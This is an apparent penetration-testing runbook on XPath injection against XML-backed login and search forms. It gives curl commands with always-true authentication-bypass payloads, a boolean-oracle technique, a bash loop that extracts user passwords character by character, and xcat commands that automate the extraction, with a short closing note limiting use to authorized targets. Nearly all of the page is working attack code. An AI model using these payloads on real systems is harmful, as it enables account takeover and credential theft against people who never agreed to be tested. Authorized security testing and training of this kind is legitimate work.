Webupdated Oct 1, 2026

XPath Injection

Injecting into XPath queries to bypass authentication and extract XML node data blindly from the server.

toolbox:burp suitexcat

XPath queries an XML document with a path syntax similar to SQL. When user input is concatenated into a query, the logic can be altered and the whole XML tree walked node by node. This runbook finds XPath-backed inputs, breaks authentication, builds a boolean oracle, and extracts one proof value — on in-scope targets only.

1. Find XPath-backed inputs

Login forms and search features over XML data stores are the usual homes.

curl -s -i "https://target.com/search?q=test" | tail -n 20
curl -s -i "https://target.com/search?q=test%27" | tail -n 20

# Login form backed by /users/user[username='X' and password='Y']
curl -s -i -X POST https://target.com/login -d "username=admin&password=admin"

A ' that throws a parse error, changes the result count, or flips a message is your first signal.

2. Break authentication

Classic always-true payloads make the predicate match the first node.

curl -s -i -X POST https://target.com/login \
  --data-urlencode "username=' or '1'='1" --data-urlencode "password=anything"
curl -s -i -X POST https://target.com/login \
  --data-urlencode "username=' or 1=1 or ''='" --data-urlencode "password=anything"
curl -s -i -X POST https://target.com/login \
  --data-urlencode "username=admin' or '1'='1' or ''='" --data-urlencode "password=anything"

If the app returns the first user node, you are logged in as that user.

3. Establish a boolean oracle

With no visible output, ask true/false questions and watch a binary side effect.

TRUE="' or string-length(//user[1]/password)=8 or ''='"
FALSE="' or string-length(//user[1]/password)=1 or ''='"
curl -s -X POST https://target.com/login --data-urlencode "username=$TRUE" \
  --data-urlencode "password=x" -o /dev/null -w "true  size=%{size_download}\n"
curl -s -X POST https://target.com/login --data-urlencode "username=$FALSE" \
  --data-urlencode "password=x" -o /dev/null -w "false size=%{size_download}\n"

4. Enumerate structure, then extract

Map the document before pulling values: count nodes, read names, probe attributes.

# How many <user> nodes?  name(//user[1]/*[1])='id'  //user[1]/@*[1]='admin'
curl -s -X POST https://target.com/login \
  --data-urlencode "username=' or count(//user)=5 or ''='" \
  --data-urlencode "password=x" -o /dev/null -w "count5 size=%{size_download}\n"

# Blind char-by-char extraction using the oracle
for i in $(seq 1 8); do
  for c in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do
    q="' or substring(//user[1]/password,$i,1)='$c' or ''='"
    out=$(curl -s -X POST https://target.com/login --data-urlencode "username=$q" \
      --data-urlencode "password=x" -o /dev/null -w "%{size_download}")
    [ "$out" != "0" ] && printf "%s" "$c"
  done
done; echo

5. Automate with xcat

Blind extraction by hand is slow; xcat drives the same oracle. document() may let some engines fetch external DTDs. Stop at a single proof and redact it.

xcat --method POST --data "username=INJECT&password=x" --param username \
  --inject "' or {QUERY} or ''='" \
  --query "string(//user[1]/username)" "https://target.com/login"

Full pipeline

U="https://target.com/login"

# 1. Detect injection: baseline vs quote
curl -s -o /dev/null -w "base  %{http_code} %{size_download}\n" \
  -X POST "$U" --data-urlencode "username=test" --data-urlencode "password=x"
curl -s -o /dev/null -w "quote %{http_code} %{size_download}\n" \
  -X POST "$U" --data-urlencode "username=test'" --data-urlencode "password=x"
# 2. Auth bypass
curl -s -i -X POST "$U" \
  --data-urlencode "username=' or 1=1 or ''='" --data-urlencode "password=x" | head -n 20
# 3. Boolean oracle sanity check
curl -s -o /dev/null -w "true  %{size_download}\n" -X POST "$U" \
  --data-urlencode "username=' or 1=1 or ''='" --data-urlencode "password=x"
curl -s -o /dev/null -w "false %{size_download}\n" -X POST "$U" \
  --data-urlencode "username=' or 1=2 or ''='" --data-urlencode "password=x"
# 4. Automated staged extraction
xcat --method POST --data "username=INJECT&password=x" --param username \
  --inject "' or {QUERY} or ''='" --query "string(//user[1]/password)" "$U"

Ethics & legality

  • Test only XML-backed apps you are authorized to assess.
  • Blind extraction is request-heavy; keep concurrency low and stop at one proof value.
  • Never log or exfiltrate real user passwords — mask them in every report.
  • Record the exact payload, response delta, and timestamp as reproducible evidence.